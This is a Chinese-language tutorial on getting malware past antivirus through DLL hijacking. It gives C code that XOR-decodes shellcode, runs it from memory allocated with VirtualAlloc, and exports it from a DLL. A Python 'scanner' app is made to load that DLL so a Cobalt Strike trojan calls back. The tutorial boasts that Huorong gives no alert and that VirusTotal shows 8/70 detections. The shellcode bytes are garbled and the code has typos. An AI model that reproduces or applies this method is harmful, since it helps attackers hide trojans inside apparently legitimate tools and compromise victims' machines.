DLL劫持技术实现免杀
DLL劫持的原理:在一个DLL文件中植入木马(DLL文件的免杀效果较好),将其模拟成一个被别的应用程序(有数字签名)调用的函数名(通过逆向、文档等获取到原始DLL得函数名和参数)。利用Python开发一个RedisExp.exe,使用该应用程序去调用DLL中的函数,进而实现木马免杀和上线的效果
(1)在DLL函数中植入ShellCode
DLLIMPORT void CSStart () {
unsigned char enc[] =
"x31b\×30f\x36e\x3e7\×3e7\x3e7\×387\×36e\×302\×3d6\×335\×383\×36c";
unsigned char decode [5000];
int key = 999;
int i;
for (i=0; i<sizeof (enc)-1; i++) {
decCode [il = enc[il ^ key;
}
void *p = VirtualAlloc(NULL, sizeof (decCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) ;
memcpy (p, deccode, sizeof (decCode)) ;
CODE code = (CODE) p;
code();
}
打开我们之前创建的MyDLLDemo.dev文件
然后在dllmain.c中定义一个CSStart函数接口,使用函数指针加载的方式加载ShellCode,然后再导入#include <stdlib.h>
然后在头文件dll.h里面声明一下,如下所示:
因为无法运行,所以全部重新编译一下
然后使用python来调用
然后运行一下,看看能不能上线,发现报错了,说明函数指针加载的方式有问题
然后我们换成申请内存加载的方式来加载ShellCode,使用代码混淆,也就是对ShellCode进行异或处理,将处理过后的ShellCode放进去,然后再进行解密,这样就不会有静态特征被火绒等杀毒软件给提示了
编译发现没有错误,我们将之前的MyDLLDemo.dll进行一个替换,这次火绒没有给我们提醒,已经达到了免杀的效果
说明C语言写的ShellCode已经实现免杀了
接下来在Python中进行调用,看看能否上线,不能光免杀,功能却不行
Python调用没有报错
木马上线成功,然后看看基本操作能不能达到目标
发现功能正常,可以正常浏览到我们的文件了
(2)开发一个Python应用程序
略
(3)让Python应用调用DLL的函数
在Python应用程序中将我们之前写的ShellCode那一部分都给删除了,加上这两段代码
func = ctypes.CDLL("./MyDLLDemo.dll")
func.CSStart()
再使用PyInstaller生成Exe文件,将其和DLL文件放在同一个目录中,实现DLL调用和上线
Python代码只需要做自己的功能即可,其他的交给DLL来进行处理
然后运行
然后点击开始扫描,发现木马上线成功
接下来就是将这个Python文件生成一个exe就行了
生成成功
我们开始运行这个exe可执行程序
但是木马没有上线成功
我们要将所对应的dll复制粘贴到我们exe文件所在的目录中去
现在我们开始运行
木马上线成功,这个时候我们就已经完成了一个DLL劫持的基本操作了
然后放到火绒上看看是否可以进行免杀,DLL和exe都能够实现免杀
然后我们将这两个文件复制粘贴到windows2016上去,然后运行,开始扫描
在CS客户端界面上windows2016成功上线
然后看看在vt里面的免杀效果
看看刚刚的dll文件免杀效果怎么样
免杀效果非常好,8/70